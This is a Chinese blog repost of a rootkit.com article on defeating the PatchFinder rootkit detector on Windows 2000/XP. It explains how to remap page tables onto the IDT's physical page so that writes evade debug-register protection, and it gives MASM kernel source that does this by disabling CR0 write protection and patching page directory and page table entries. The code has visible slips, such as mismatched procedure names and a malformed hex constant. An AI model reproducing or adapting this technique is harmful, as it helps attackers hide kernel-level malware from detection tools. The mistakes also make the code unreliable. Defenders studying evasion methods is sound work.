绕过Windows Rootkit检测系统(转至 www.rootkit.com )

patchfinder patchfinder,搜索路径方法 立即下载

[介绍]

PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。附录1和2可以让你了解它是如何工作的。这篇文章将提供一种绕开EPA的方法。

[方法]

EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,而由DR1寄存器保护中断处理程序。(注1:)
但是,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将0x8003F408转换为物理地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。

[源代码]

这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找到。

;---定义IDTR结构-------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
;-----------------------

ByepassIDTProtection PROC

LOCAL dbgHandler:DWORD

LOCAL myIDT:DIDTR

LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD

LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD

LOCAL diffoffset:DWORD

pushad

;分配一个页大小的内存(从非分页池中分配)
invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h
mov varbase,eax

cli ;记得恢复

invoke DisablePageProtection ;对XP,Regmon使用的一个很老的技巧

sidt myIDT
mov eax,myIDT.ibase
add eax,08h
mov idtbase,eax ;idtbase = IDT的基地址 + 8字节

and eax,0FFC00000h ;获取IDT地址的目录索引
shr eax,22
shl eax,2 ;乘与4

mov ebx,0C0300000h ;0C0300000 = 页目录
add ebx,eax ;ebx = [页目录 + 目录索引*4]
mov idtPDEaddr,ebx

mov eax,[ebx]
mov idtPDE,eax ;eax = IDT地址的页目录入口(PDE)

mov eax,idtbase
and eax,oFFFh ;获取IDT地址的低12位 = 页内偏移 mov idtbaseoff,eax

mov eax,idtbase
shr eax,12 ;获取IDT地址的高12位
shl eax,2 ;乘与4

mov ebx,0C0000000h ;进程页表映射在0xC0000000开始的4MB空间中
add ebx,eax
mov idtPTEaddr,eax ;IDT地址的PTE的地址

mov eax,[ebx]
mov idtPTE,eax ;取该地址的PTE

mov eax,varbase

and eax,0FFC00000h ;获取varbase的页目录索引
shr eax,22
shl eax,2

mov ebx,0C0300000h
add ebx,eax
mov varPDEaddr,ebx

mov eax,[ebx]
mov varPDE,eax

mov eax,varbase
and eax,0FFFh
mov varbaseoff,eax

mov eax,varbase
shr eax,12
shl eax,2

mov ebx,0C0000000h
add ebx,eax
mov varPTEaddr,ebx

mov eax,[ebx]
mov varPTE,eax

mov eax,varPDEaddr ;修改PDE为和IDT0x01的一样
mov ebx,idtPDE
mov [eax],ebx

mov eax,varPTEaddr ;修改PTE为和IDT0x01的一样
mov ebx,idtPTE
mov [eax],ebx

mov ebx,idtbaseoff ;修正页内偏移
mov eax,varbaseoff
sub ebx,eax

;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器

mov eax,varbase
mov dword ptr [eax+ebx],0DEADBEEFh

mov eax,varPDEaddr ;恢复原来的值
mov ebx,varPDE
mov [eax],ebx

mov eax,varPTEaddr ;恢复原来的值
mov ebx,varPTE
mov [eax],ebx

invoke EnablePageProtection ;恢复CR0寄存器的WP标志

sti

popad
ret

BypassIDTProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
EnablePageProtection PROC

push eax
mov eax,CR0
and eax,0FFFEFFFFh
mov CR0,eax
pop eax
ret

EnablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DisablePageProtection PROC

push eax
mov eax,CR0
or eax,NOT 0FFFEFFFFh
mov CR0,eax
pop eax
ret

DisablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

[Rootkit的未来]

很不幸,这种方法使EPA变得没用。如果微软不改变它的安全结构,没有一种办法能在未来阻止rookits。未来的rootkit会在分页机制上大有作为,这种有无限种可能性。一旦进入Ring 0,那么永远在Ring 0。

[参考]

[1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高级Rootkit检测技术)
[2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2
[3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3

注1:

这个图无法画出,就是画出了读者也不一定能看得明白(因为画的实在太简单了-_-)。我在这里补充一下用调试寄存器保护地址的原理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后通过DR7寄存器的相关位并检查DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码:

#define DB_PROT_EXEC 0
#define DB_PROT_WRITE 1
#define DB_PROT_RW 3

#define DB_DR0 0
#define DB_DR1 1
#define DB_DR2 2
#define DB_DR3 3

#define DB_LEN_1B 0
#define DB_LEN_2B 1
#define DB_LEN_4B 3

int dbProtect (int reg, int addr, int len, int protection) {
unsigned int dr7mask;

switch (reg) {
case 0:
__asm {
mov eax, addr;
mov DR0, eax;
}
break;
case 1:
__asm {
mov eax, addr;
mov DR1, eax;
}
break;
case 2:
__asm {
mov eax, addr;
mov DR2, eax;
}
break;
case 3:
__asm {
mov eax, addr;
mov DR3, eax;
}
break;
}

dr7mask = 0x2<<(reg*2);
dr7mask |= (( (len<<2) + protection) << (16+(4*reg)));
__asm {
mov eax, DR7;
or eax, dr7mask;
mov DR7, eax;
}

return 1;
}

int dbSetGeneralProtection () {

__asm {
mov eax, DR7;
or eax, 0x1000;
mov DR7, eax;
}

return 1;
}

然后在中断处理程序中还要加入下面几句代码:
mov eax, DR6;
test ax, 0x100f; // BD |B3|B2|B1|B0
.
.
mov eax, DR6; // 检查DR6的BS(单步)位
test ah, 0x40;

最后决定对3个地址进行不同程度的保护:
dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW);

对DR6和DR7相关位的作用不太熟悉的可以去查Intel的手册15.2节<Debug Registers>。

基于句柄分析的Windows Rootkit 检测技术研究 作为网络入侵领域的一种新兴技术,Rootkit 能隐藏入侵痕迹、阻止用户和检测软件发现恶意代码的存在,具 有隐蔽性好、难以检测等特点。根据对Rootkit 行为的分析,提出了一种基于句柄分析的Rootkit 检测技术,该方法通过遍 历内核句柄表,得到系统中运行的所有进程,再与调用API 得到的进程列表对比,发现Rootkit 隐藏的进程。实验证明,该 方法对于Rootkit 具有良好的检测效果 立即下载

相关推荐

抖音直播行为规范考试

抖音直播行为规范考试

Q1642968641的博客 1万+

libpatchfinder 开源项目教程

libpatchfinder 开源项目教程 项目简介 libpatchfinder 是一个专为 ARM 架构设计的偏移查找工具,它能够找到补丁点、解析 Mach-O 文件,并且支持 IMG4 和 IMG3 格式的特殊处理。这个工具由 tihmstar 开发并维护,遵循 LGPLv2.1 许可证,这意味着它是自由软件,允许任何人重新分发和修改。 目录结构及介绍 下面是 libpatchfinder ...

gitblog_01152的博客 462

吉林大学2016级唐班c语言期末考试B卷

` #include<stdio.h> #include<stdlib.h> //双指针法,每次从a,b中选一个最大的数,从后向前一次放在数组a中 int merge(int *a,int m,int *b,int n){ int i=m-1,j=n-1,k=m+n-1; while(i>=0&&j>=0){ if(a[i]>b[j])a[...

weixin_42339173的博客 1195

2024年7月25日Arxiv人工智能相关论文

自动推理是可解释人工智能(XAI)领域中一项关键技术,这是一个年轻但迅速发展的领域。可解释性有助于在人工智能系统中建立信任,超越它们仅仅的预测准确性和稳健性。在本文中,我们提出了一个科学发现循环,将机器学习与自动推理相结合,用于生成和选择解释。我们提出了一个解释选择问题的分类法,借鉴了社会学和认知科学的见解。这些选择标准包含了现有概念,并通过新属性进行了扩展。

数智笔记 1924

Qoder CN 完全指南:阿里云AI智能体的全景拆解

阿里云旗下AI编程助手"通义灵码"于2026年5月20日升级为QoderCN,转型为覆盖软件开发与办公场景的AI智能体产品矩阵。该平台具备四大核心能力:代码补全、智能问答、文件编辑和智能体模式,支持GLM、DeepSeek等多模型切换。特色功能包括Quest2.0任务委派、专家团协作和记忆感知,满足金融、政务等行业的合规需求。产品形态涵盖IDE插件、CLI工具、办公助手和数字员工,形成"全家桶"式解决方案。相比Cursor等海外产品,QoderCN更注重全链路覆盖,个

几十年资深高级架构师,技术专家的技术笔记。专注C、Java、Python、微服务、云原生、AI工程化及高并发系统分布式架构实战,分享源码剖析、性能调优与架构治理经验。 923

手把手教你在Keil/IAR中移植SEGGER_RTT组件(避坑指南+性能对比)

本文详细介绍了在Keil/IAR开发环境中移植SEGGER RTT调试组件的完整流程与优化技巧。通过对比传统串口调试,SEGGER RTT凭借零硬件占用、高速传输和双向交互等优势,显著提升嵌入式开发效率。文章包含配置步骤、性能调优方案及常见问题解决方案,是嵌入式开发者必备的实用指南。

y7z8a的博客 243

Windows rootkits of 2005, part three(翻译)

        本系列的最后一章将探索5种不同的rootkit侦测技术用于发现Windows rootkit的分布。另外还会谈到9种为系统管理员设计的工具。1.介绍     在过去几年里Rootkit已经发展得很成熟,2005年中随着各种恶意软件甚至音乐CD蜂涌而至。尽管计算机系统被rootkit扰乱后要发觉或者清除rootkit是极度困难的,但是仍然有些方法可以侦测不同程度的rootkit。

coding_hello的专栏 2144

基恩士数字光纤放大器

在2路输出类型上此为通道开关,并未配备0路类型;设置已搞不清楚不知道怎么办时···完成初始化后,模块重新显示当前值。①无工件时短按[SET]①有工件时短按[SET]各部位的名称和基本操作。可以手动微调设置值。

大小曲奇的博客 1万+

http://www.rootkit.com/

http://www.rootkit.com/

kakaxia6337的专栏 2053

九天揽月带你玩转Ardupilot 的EKF2纸老虎(1)

目录 目录 摘要 1.kalman基础知识储备 摘要 本文主要记录自己学习ardupilot的ekf2代码的过程,相信很多人想移植或者学习ekf2,看到眼花缭乱的代码无从下手。九天揽月将带你玩转Ardupilot 的EKF2纸老虎 1.kalman基础知识储备 (1)先来看下最基础也是最重要的线性kalman 总结:不要害怕kalman,只要你可以懂得线性kal...

陌城烟雨 1万+

【OpenClaw从入门到精通】第11篇:OpenClaw 2026多模态实战全攻略:OCR/语音/图像自动化(附完整代码+双部署方案)

本文聚焦OpenClaw 2026版核心升级的多模态能力,从底层架构原理到实操落地全流程拆解。先解析“统一指令解析+多工具适配器”的核心设计逻辑,再提供阿里云规模化部署(适合批量任务)与本地汉化版部署(适合隐私数据调试)的详细步骤,含依赖安装、配置验证完整操作;随后落地三大高频实战场景——OCR合同信息结构化提取、会议录音自动转写纪要、电商商品图片智能打标,每个场景均提供可直接运行的完整代码、执行结果演示及流程说明;最后补充多模态任务避坑指南、性能优化技巧与成本控制方案。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 2611

一个DNS反查网站

http://rootkit.net.cn/index.aspx 转载于:https://www.cnblogs.com/keepfocus/archive/2011/12/05/2276884.html

weixin_30404405的博客 284

8位2路选择器设计

8位2路选择器设计

好好学习,天天向上 4286

绕过Windows Rootkit检测系统

创建时间:2004-03-08文章属性:原创文章提交:SoBeIt (kinsephi_at_hotmail.com)绕过Windows Rootkit检测系统                                        SoBeIt                Edgar Barbosa                embarbosa@yahoo.com     [介绍] 

净心编程 1581

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Windows Rootkit相关链接

维护: 小四 链接: http://www.opencjk.org/~scz/200402170928.txt创建: 2004-02-17 09:28更新: 2006-03-14 10:59--    如有推荐,请发信至多多指教,谢谢。--[ 1] Avoiding Windows Rootkit Detection/Bypassing PatchFinder 2 - Edgar Barbosa[

2321

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

windows rootkit 有用链接(转载)

[ 1] Avoiding Windows Rootkit Detection/Bypassing PatchFinder 2 - Edgar Barbosa[2004-02-17]     http://www.geocities.com/embarbosa/bypass/bypassEPA.pdf[ 2] TOCTOU with NT System Service Hooking     ht

batistutapku的专栏 1148

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

如何从内核中检测ROOTKIT和剥离ROOTKIT

https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=62603]Detection of the hidden processes.[C] Ms-Rem© 2002-2005 wasm.ru - all rights reserved and reversedMany users have got used that Windows NT

1638

高级WIN2K ROOTKIT检测技术

高级WIN2K ROOTKIT检测技术 (执行路径分析)原文: http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-rutkowski/bh-us-03-rutkowski-paper.pdf 作者: Jan Krzysztof Rutkowski翻译: mslug(译著:由于格式的原因,图片请参照原文.)摘要:本文描述

唯一谣|Airs|走尽天涯路|极地阳光 975

Windows Rootkit相关链接[转]

标题: Windows Rootkit相关链接维护: 小四 链接: http://www.opencjk.org/~scz/200402170928.txt创建: 2004-02-17 09:28更新: 2004-08-03 09:52--    如有推荐,请发信至多多指教,谢谢。--[ 1] Avoiding Windows Rootkit Detection/Bypassing PatchFi

LionD8' Blog 个人作品 www.360kdj.com 360KDJ股票实验室 2318

rootkit入门(翻译)

常见问题解答 : 如何入门?来源:rootkit_com 作者:Clandestiny 翻译:fqh “Help!我是一名新手!我需要一款rootkit入侵朋友的机器…我想编写自己的rootkit…我想开始开发代码… 该从哪里入手?”此类问题在rootkit.com上不断地出现,并且重复回答一些人问的相同问题浪费了大量时间,我想到我们应当编辑一个短小的文档来对它们进行一般性的叙述。下面的论述远非完

gzfqh的专栏 →底层代码研究 8054

Rootkit Hunter系统检测工具

在我今天说Rooterkit Hunter之前我来说说一些基本概念。在linux下的root意味着超级用户权利无限大,那么在如今脆弱的互联网大环境下,我们怎么样才能做些简单得检测进行分析、查看呢?怎么样才能够获得这么样的一个无限大的权限呢?嘿嘿,有人想到了,使用网上流行的Rootkit,简单的说就是一个***脚本,使用这样一个工具我们就可以进行***了。但是我们如何进行防护呢?就是今天主题了,Ro...

weixin_34321977的博客 157

Rootkit演变

Rootkit 概述         我第一次接触rootkit是在2004年,当时我还是一个rookie病毒分析师,具备一定的关于UNIX的 rootkit病毒的相关知识。有一天我无意中发现windows系统中的一个可执行程序,在我登录这个程序的时候,windows系统似乎没有做出任何反应。我觉得很有趣,并且准备进一步探究这个程序,然后我发现在载入模块列表中有个文件并没有出现在磁盘上。很显然

yaneng的专栏 2868

rootkit入门

 常见问题解答 : 如何入门?来源:rootkit_com 作者:Clandestiny 翻译:fqh “Help!我是一名新手!我需要一款rootkit入侵朋友的机器…我想编写自己的rootkit…我想开始开发代码… 该从哪里入手?”此类问题在rootkit.com上不断地出现,并且重复回答一些人问的相同问题浪费了大量时间,我想到我们应当编辑一个短小的文档来对它们进行一般性的叙述。下面的论述远非

www.shareqq.cn 539
上一篇: 无固定密码验证后门雏形 (ALLyeSNO)
下一篇: 反病毒引擎设计
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值